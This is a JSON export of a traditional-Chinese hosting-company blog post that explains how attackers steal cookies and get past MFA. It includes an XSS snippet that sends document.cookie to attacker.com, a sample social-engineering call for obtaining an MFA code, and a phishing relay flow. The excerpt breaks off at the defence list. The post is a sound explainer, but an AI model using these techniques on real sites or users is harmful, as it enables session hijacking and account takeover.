{"id":15782,"date":"2024-09-09T14:01:14","date_gmt":"2024-09-09T06:01:14","guid":{"rendered":"https:\/\/www.simcentric.com\/?p=15782"},"modified":"2024-09-09T14:05:25","modified_gmt":"2024-09-09T06:05:25","slug":"how-attackers-are-stealing-your-cookies-and-bypassing-mfa","status":"publish","type":"post","link":"https:\/\/www.simcentric.com\/tc\/hong-kong-dedicated-server-tc\/how-attackers-are-stealing-your-cookies-and-bypassing-mfa\/","title":{"rendered":"\u653b\u64ca\u8005\u5982\u4f55\u7aca\u53d6\u60a8\u7684Cookie\u4e26\u7e5e\u904eMFA\uff1f"},"content":{"rendered":"

[vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n

\u5728\u9999\u6e2f\u9019\u500b\u7e41\u5fd9\u7684\u6578\u4f4d\u5316\u74b0\u5883\u4e2d\uff0c\u4f3a\u670d\u5668\u79df\u7528\u548c\u4f3a\u670d\u5668\u8a17\u7ba1\u670d\u52d9\u9700\u6c42\u65fa\u76db\uff0c\u4f3a\u670d\u5668\u7684\u5b89\u5168<\/a>\u81f3\u95dc\u91cd\u8981\u3002\u672c\u6587\u6df1\u5165\u63a2\u8a0ecookie\u7aca\u53d6\u548c\u591a\u56e0\u7d20\u8a8d\u8b49\uff08MFA\uff09\u7e5e\u904e\u6280\u8853\u7684\u8907\u96dc\u4e16\u754c\uff0c\u63ed\u793a\u53ef\u80fd\u5371\u53ca\u60a8\u9999\u6e2f\u4f3a\u670d\u5668<\/a>\u7684\u6f0f\u6d1e\u3002<\/p>\n

[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n

Cookie\u56f0\u5883<\/strong><\/h2>\n

Cookie\uff0c\u9019\u4e9b\u5132\u5b58\u5728\u60a8\u88dd\u7f6e\u4e0a\u7684\u5c0f\u8cc7\u6599\u7247\u6bb5\uff0c\u5728Web\u61c9\u7528\u7a0b\u5f0f\u4e2d\u626e\u6f14\u8457\u81f3\u95dc\u91cd\u8981\u7684\u89d2\u8272\u3002\u5728\u9999\u6e2f\u4f3a\u670d\u5668\u7684\u74b0\u5883\u4e2d\uff0c\u5b83\u5011\u901a\u5e38\u7528\u65bc\u7dad\u8b77\u6703\u8a71\u72c0\u614b\u3001\u8a18\u4f4f\u4f7f\u7528\u8005\u504f\u597d\u548c\u4fc3\u9032\u9806\u66a2\u7684\u4f7f\u7528\u8005\u9ad4\u9a57\u3002\u7136\u800c\uff0c\u5b83\u5011\u7684\u5be6\u7528\u6027\u4e5f\u4f7f\u5176\u6210\u70ba\u7db2\u8def\u72af\u7f6a\u5206\u5b50\u7684\u4e3b\u8981\u76ee\u6a19\u3002<\/p>\n

[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n

\u89e3\u78bcCookie\uff1a\u6280\u8853\u6df1\u5165\u63a2\u8a0e<\/strong><\/h2>\n

\u8b93\u6211\u5011\u5206\u89e3\u4e00\u500b\u5178\u578b\u7684cookie\u7d50\u69cb\uff1a<\/p>\n

Set-Cookie: session_id=abc123; Expires=Wed, 09 Jun 2024 10:18:14 GMT; Secure; HttpOnly<\/code><\/pre>\n
\u9019\u500bcookie\u8a2d\u7f6e\u4e86\u6703\u8a71ID\u3001\u904e\u671f\u65e5\u671f\u548c\u5b89\u5168\u6a19\u8a8c\u3002’Secure’\u6a19\u8a8c\u78ba\u4fddcookie\u50c5\u901a\u904eHTTPS\u767c\u9001\uff0c\u800c’HttpOnly’\u9632\u6b62\u901a\u904e\u5ba2\u6236\u7aef\u8173\u672c\u5b58\u53d6\uff0c\u5f9e\u800c\u589e\u5f37\u5b89\u5168\u6027\u3002<\/p>\n
[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n
MFA\uff1a\u6578\u4f4d\u5821\u58d8<\/strong><\/h2>\n
\u591a\u56e0\u7d20\u8a8d\u8b49\u70ba\u9999\u6e2f\u4f3a\u670d\u5668\u589e\u52a0\u4e86\u4e00\u5c64\u984d\u5916\u7684\u5b89\u5168\u4fdd\u8b77\u3002\u5178\u578b\u7684MFA\u6d41\u7a0b\u53ef\u80fd\u5982\u4e0b\u6240\u793a\uff1a<\/p>\n
1. \u4f7f\u7528\u8005\u8f38\u5165\u4f7f\u7528\u8005\u540d\u7a31\u548c\u5bc6\u78bc\r\n2. \u4f3a\u670d\u5668\u9a57\u8b49\u6191\u8b49\r\n3. \u5982\u679c\u6709\u6548\uff0c\u4f3a\u670d\u5668\u767c\u9001\u6311\u6230\uff08\u4f8b\u5982\uff0c\u7c21\u8a0a\u9a57\u8b49\u78bc\uff09\r\n4. \u4f7f\u7528\u8005\u8f38\u5165\u6311\u6230\u56de\u61c9\r\n5. \u4f3a\u670d\u5668\u9a57\u8b49\u56de\u61c9\r\n6. \u5982\u679c\u6b63\u78ba\uff0c\u6388\u4e88\u5b58\u53d6\u6b0a\u9650<\/code><\/pre>\n
\u5373\u4f7f\u5bc6\u78bc\u88ab\u6d29\u9732\uff0c\u9019\u500b\u904e\u7a0b\u4e5f\u986f\u8457\u964d\u4f4e\u4e86\u672a\u7d93\u6388\u6b0a\u5b58\u53d6\u7684\u98a8\u96aa\u3002<\/p>\n
[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n
Cookie\u7aca\u53d6\u6280\u8853\uff1a\u9ed1\u6697\u85dd\u8853<\/strong><\/h2>\n
\u653b\u64ca\u8005\u4f7f\u7528\u5404\u7a2e\u65b9\u6cd5\u5f9e\u9999\u6e2f\u4f3a\u670d\u5668\u7aca\u53d6cookie\uff1a<\/p>\n
1. \u8de8\u7ad9\u8173\u672c\uff08XSS\uff09\u653b\u64ca<\/h3>\n
XSS\u653b\u64ca\u5c07\u60e1\u610f\u8173\u672c\u6ce8\u5165\u5230\u53d7\u4fe1\u4efb\u7684\u7db2\u7ad9\u4e2d\u3002\u4ee5\u4e0b\u662f\u4e00\u500b\u7c21\u5316\u7684XSS\u6709\u6548\u8ca0\u8f09\u793a\u4f8b\uff1a<\/p>\n
<script>\r\nvar stolenCookie = document.cookie;\r\nnew Image().src = \"http:\/\/attacker.com\/steal?cookie=\" + encodeURIComponent(stolenCookie);\r\n<\/script><\/code><\/pre>\n
\u5982\u679c\u9019\u500b\u8173\u672c\u88ab\u6ce8\u5165\u5230\u6613\u53d7\u653b\u64ca\u7684\u9801\u9762\u4e2d\uff0c\u5b83\u6703\u5c07\u4f7f\u7528\u8005\u7684cookie\u767c\u9001\u5230\u653b\u64ca\u8005\u7684\u4f3a\u670d\u5668\u3002<\/p>\n
2. \u4e2d\u9593\u4eba\uff08MITM\uff09\u653b\u64ca<\/h3>\n
MITM\u653b\u64ca\u6514\u622a\u4f7f\u7528\u8005\u548c\u4f3a\u670d\u5668\u4e4b\u9593\u7684\u901a\u8a0a\u3002\u50cfWireshark\u9019\u6a23\u7684\u5de5\u5177\u53ef\u4ee5\u7528\u4f86\u6355\u7372\u672a\u52a0\u5bc6\u7684\u6d41\u91cf\uff0c\u53ef\u80fd\u6703\u66b4\u9732cookie\u3002<\/p>\n
3. \u60e1\u610f\u8edf\u9ad4\u548c\u9375\u76e4\u8a18\u9304\u5668<\/h3>\n
\u8907\u96dc\u7684\u60e1\u610f\u8edf\u9ad4\u53ef\u4ee5\u76f4\u63a5\u5b58\u53d6\u5132\u5b58\u7684cookie\u6216\u6355\u7372\u6309\u9375\u4ee5\u7aca\u53d6\u767b\u5165\u6191\u8b49\u3002<\/p>\n
[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n
MFA\u7e5e\u904e\uff1a\u7834\u89e3\u4ee3\u78bc<\/strong><\/h2>\n
\u5373\u4f7f\u6709MFA\uff0c\u5805\u6c7a\u7684\u653b\u64ca\u8005\u4e5f\u958b\u767c\u4e86\u7e5e\u904e\u9019\u7a2e\u5b89\u5168\u63aa\u65bd\u7684\u6280\u8853\uff1a<\/p>\n
1. \u793e\u4ea4\u5de5\u7a0b\u5b78<\/h3>\n
\u653b\u64ca\u8005\u53ef\u80fd\u5192\u5145IT\u652f\u63f4\u4eba\u54e1\uff0c\u8a98\u9a19\u4f7f\u7528\u8005\u900f\u9732MFA\u4ee3\u78bc\u3002\u5178\u578b\u7684\u5c0d\u8a71\u53ef\u80fd\u5982\u4e0b\uff1a<\/p>\n
\u653b\u64ca\u8005\uff1a\"\u9019\u88e1\u662fIT\u652f\u63f4\u3002\u6211\u5011\u6b63\u5728\u9a57\u8b49\u5e33\u6236\u3002\u60a8\u80fd\u8b80\u4e00\u4e0b\u6211\u5011\u525b\u525b\u767c\u9001\u5230\u60a8\u624b\u6a5f\u7684\u4ee3\u78bc\u55ce\uff1f\"\r\n\u53d7\u5bb3\u8005\uff1a\"\u7576\u7136\uff0c\u662f123456\u3002\"\r\n\u653b\u64ca\u8005\uff1a\"\u8b1d\u8b1d\uff0c\u60a8\u7684\u5e33\u6236\u73fe\u5728\u5df2\u9a57\u8b49\u3002\"<\/code><\/pre>\n
2. SIM\u5361\u4ea4\u63db<\/h3>\n
\u5728SIM\u5361\u4ea4\u63db\u653b\u64ca\u4e2d\uff0c\u653b\u64ca\u8005\u8aaa\u670d\u884c\u52d5\u904b\u71df\u5546\u5c07\u53d7\u5bb3\u8005\u7684\u96fb\u8a71\u865f\u78bc\u8f49\u79fb\u5230\u65b0\u7684SIM\u5361\u3002\u9019\u4f7f\u4ed6\u5011\u80fd\u5920\u63a5\u6536\u57fa\u65bc\u7c21\u8a0a\u7684MFA\u4ee3\u78bc\u3002<\/p>\n
3. \u5373\u6642\u91e3\u9b5a<\/h3>\n
\u8907\u96dc\u7684\u91e3\u9b5a\u653b\u64ca\u53ef\u4ee5\u5373\u6642\u6355\u7372\u548c\u4e2d\u7e7cMFA\u4ee3\u78bc\u3002\u4ee5\u4e0b\u662f\u7c21\u5316\u7684\u6d41\u7a0b\uff1a<\/p>\n
1. \u4f7f\u7528\u8005\u8a2a\u554f\u91e3\u9b5a\u7db2\u7ad9\r\n2. \u91e3\u9b5a\u7db2\u7ad9\u63d0\u793a\u767b\u5165\r\n3. \u4f7f\u7528\u8005\u8f38\u5165\u6191\u8b49\r\n4. \u91e3\u9b5a\u7db2\u7ad9\u5c07\u6191\u8b49\u8f49\u767c\u5230\u771f\u5be6\u7db2\u7ad9\r\n5. \u771f\u5be6\u7db2\u7ad9\u8acb\u6c42MFA\u4ee3\u78bc\r\n6. \u91e3\u9b5a\u7db2\u7ad9\u63d0\u793a\u4f7f\u7528\u8005\u8f38\u5165MFA\u4ee3\u78bc\r\n7. \u4f7f\u7528\u8005\u8f38\u5165MFA\u4ee3\u78bc\r\n8. \u91e3\u9b5a\u7db2\u7ad9\u5c07MFA\u4ee3\u78bc\u8f49\u767c\u5230\u771f\u5be6\u7db2\u7ad9\r\n9. \u653b\u64ca\u8005\u7372\u5f97\u5b58\u53d6\u6b0a\u9650<\/code><\/pre>\n
[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=”blog-detail-section”][vc_column][vc_column_text]<\/p>\n
\u52a0\u5f37\u60a8\u7684\u9999\u6e2f\u4f3a\u670d\u5668\u5b89\u5168<\/strong><\/h2>\n
\u70ba\u4e86\u9632\u7bc4\u9019\u4e9b\u5a01\u8105\uff0c\u8acb\u8003\u616e\u5be6\u65bd\u4ee5\u4e0b\u63aa\u65bd\uff1a<\/p>\n